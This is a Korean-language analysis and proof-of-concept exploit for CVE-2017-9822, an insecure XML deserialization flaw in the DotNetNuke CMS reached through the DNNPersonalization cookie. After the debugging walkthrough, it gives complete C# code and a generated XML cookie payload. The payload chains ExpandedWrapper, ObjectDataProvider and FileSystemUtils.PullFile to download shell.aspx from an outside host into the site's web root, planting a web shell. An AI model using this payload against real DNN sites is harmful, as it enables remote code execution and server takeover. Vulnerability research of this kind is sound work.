
CVE-2017-9822에 대한 상세 분석 및 개념 증명 익스플로잇. DotNetNuke CMS의 XXE/안전하지 않은 역직렬화 취약점으로, 쿠키 조작을 통해 원격 코드 실행으로 이어집니다.
DotNetNuke (일반적으로 DNN으로 약칭)은 마이크로소프트의 ASP.NET 기술을 기반으로 하는 CMS(Content Management System) 플랫폼이자 웹 애플리케이션 프레임워크입니다.
여기서는 Windows 10을 사용하여 프로그램을 설정하고 디버그합니다. 설치한 버전은 9.1.0이며, 설치 방법은 여기를 참조하세요. 완료 후 결과는 다음과 같습니다:



여기서는 dnSpy를 사용합니다. dnSpy는 .NET (C#, VB.NET, F#...) 애플리케이션을 위한 디컴파일러(역컴파일러) 및 디버거 도구입니다. 이를 사용하면 .NET으로 작성된 .dll 또는 .exe와 같은 컴파일된 파일에서 소스 코드를 보고, 분석하고, 편집할 수 있습니다. 여기에서 설치할 수 있습니다. 디버깅을 위해 두 가지 버전을 다운로드해야 합니다.

먼저 32비트 버전으로 DotNetNuke.dll을 열고 **Edit Assembly Attributes (C#)**을 선택합니다.

그런 다음 다음 줄을
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
다음으로 변경합니다.
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

그런 다음 저장합니다.
64비트 버전을 관리자 권한으로 열고 Attach to Process를 선택합니다.

다음으로 w3wp.exe를 선택합니다.

w3wp.exe를 선택하는 이유는 다음과 같습니다:
w3wp.exe = IIS 작업자 프로세스.w3wp.exe를 생성하거나 재사용합니다 (ASP.NET 코드 실행, 모듈, 미들웨어, 데이터베이스 연결 처리 등).w3wp.exe 프로세스를 가질 수 있습니다.다음으로 Debug -> Window -> Modules를 선택합니다.

완료되면 Modules가 나타납니다. 아무 모듈이나 마우스 오른쪽 버튼으로 클릭하고 Open All Modules을 선택합니다.

그리고 마지막으로 DNN 관련 모든 어셈블리가 표시됩니다.

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)로 이동합니다.

이 함수는 DNN 포털에서 사용자 프로필 데이터를 로드하는 데 사용됩니다.
DNNPersonalization**에서 프로필을 가져옵니다.여기서는 DNNPersonalization에 초점을 맞춰야 합니다.
userId가 유효하지 않은 경우 (익명 사용자).DNNPersonalization 쿠키가 있는지 확인합니다.웹사이트에 404 요청을 보내고 임의의 DNNPersonalization을 사용한 후, dnSpy를 사용하여 DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)에 중단점을 설정하면 디버그할 수 있습니다.


Call Stack 부분에서는 PortalSettings 클래스 분석에 집중하겠습니다.

주목할 점은 여기서 if 조건을 사용하여 현재 요청이 이미 IsAuthenticated인지 확인한다는 것입니다.
그리고 우리가 보낸 요청은 404 -> unauthenticated입니다.
계속해서 Call Stack 부분에서 Handle404OrException에 집중합니다.

여기서는 현재 요청의 context.User가 null인지 확인하고, 그렇다면 context.User를 현재 스레드 사용자로 설정합니다.


Handle404OrException에서 IsAuthenticated 변수가 이제 true 값이고, 사용자는 IIS 서버의 사용자이므로 요청이 인증된 사용자로 실행됩니다.
문제의 원인은 다음 코드 조각에 있습니다.
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
context.User가 없으면 → Thread.CurrentPrincipal(현재 스레드의 ID)을 할당합니다.=> DNNPersonalization 변수로 쿠키에 어떤 내용이든 전달하면 일반 사용자처럼 처리됩니다.
여전히 DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)에 있습니다.
text 변수가 쿠키 값에서 값을 가져온 다음 Globals.DeserializeHashTableXml()의 입력으로 전달되는 것을 볼 수 있습니다.

Globals.DeserializeHashTableXml()로 들어갑니다.

DeserializeHashTableXml 함수의 역할:
Source)을 입력으로 받습니다.Hashtable 객체로 변환합니다."profile" 매개변수를 사용하여 XML 루트 노드를 지정하는 XmlUtils.DeSerializeHashtable 함수를 호출합니다.XmlUtils.DeSerializeHashtable 내부로 들어가면 처리 방식을 확인할 수 있습니다.

DeSerializeHashtable 함수는 XML 문자열을 입력받아 Hashtable로 변환합니다. 각 <item> 노드에 대해 함수는:
key를 키로 가져옵니다.type을 가져온 다음 Type.GetType(type)을 호출하여 데이터 형식을 결정합니다.XmlSerializer.Deserialize**를 사용하여 XML 내용을 실제 객체로 변환합니다.Hashtable에 추가합니다.👉 문제: type과 XML 내용이 완전히 사용자에 의해 제어되기 때문입니다 (DNNPersonalization 쿠키에서).
XmlUtils#DeSerializeHashtable이 취약점 위치임을 기반으로 객체를 직렬화 및 역직렬화하는 유사한 프로그램을 생성합니다:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml 파일은 다음과 같습니다:
<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

이제 RCE로 넘어갑니다.
Deserialize를 수행할 때 코드를 실행할 수 있는 객체를 찾아야 합니다.
여기서 FileSystemUtils PullFile 메서드를 찾았습니다.

설명:
PullFile(string URL, string FilePath) — FileSystemUtils의 정적 메서드로, URL에서 내용을 다운로드하여 시스템의 FilePath 경로에 저장하는 데 사용됩니다.WebClient.DownloadFile(URL, FilePath)를 사용합니다 — 파일 다운로드 및 쓰기 동작입니다.catch는 오류를 기록하고 메시지를 반환할 뿐, 다시 throw하지 않습니다.하지만 문제는: _XmlSerializer_는 클래스 메서드를 직렬화할 수 없으며 public 필드와 속성만 직렬화합니다. FileSystemUtils 클래스의 public 필드와 속성 중에는 PullFile 메서드를 호출할 수 있는 것이 없습니다.
이제 ObjectDataProvider 클래스를 살펴보겠습니다.
ObjectDataProvider는 WPF의 클래스입니다 (네임스페이스 System.Windows.Data, 모듈 PresentationFramework.dll).PullFile 메서드의 URL 및 파일 경로).ObjectDataProvider 자체는 인터프리터처럼 '코드를 실행'하지 않지만, 래핑된 객체에서 public 메서드를 호출할 수 있습니다. 따라서 위험한 부작용이 있는 public 메서드(예: 파일 다운로드, 프로세스 실행, 파일 쓰기)가 존재하면 체인이 실행될 수 있습니다.
여기서는 DataSourceProvider의 Refresh()를 호출합니다.

계속해서 BeginQuery()로 이동하며, _ObjectDataProvider_가 _DataSourceProvider_를 상속받고 _ObjectDataProvider_의 _BbeginQuery()_로 이동합니다.

계속해서 QueryWorker로 이동합니다.

그러면 InvokeMethodOnInstance가 호출됩니다.

InvokeMethodOnInstance는 실제 호출(invoke) 메서드입니다. 리플렉션을 사용하여 ObjectDataProvider가 '래핑'하고 있는 객체(또는 정적 메서드의 경우 해당 유형)에서 지정된 메서드(MethodName)를 호출하고, MethodParameters 목록을 전달한 후 메서드의 반환 값을 반환합니다.
스크립트 작성을 위해 JetBrains Rider IDE를 사용하며, DotNetNuke.dll 및 PresentationFramework.dll 모듈을 참조해야 합니다.

다음과 같은 실행 가능한 페이로드가 있습니다.
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
다음과 같은 xml 파일이 생성됩니다:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
페이로드 삽입 수행



이제 익스플로잇을 실행합니다.

또한 ysoserial.NET 도구를 사용하여 페이로드를 생성할 수 있습니다.


또한 FileSystemUtils 클래스의 WriteFile에서 파일 읽기 부분을 추가로 익스플로잇할 수 있습니다.

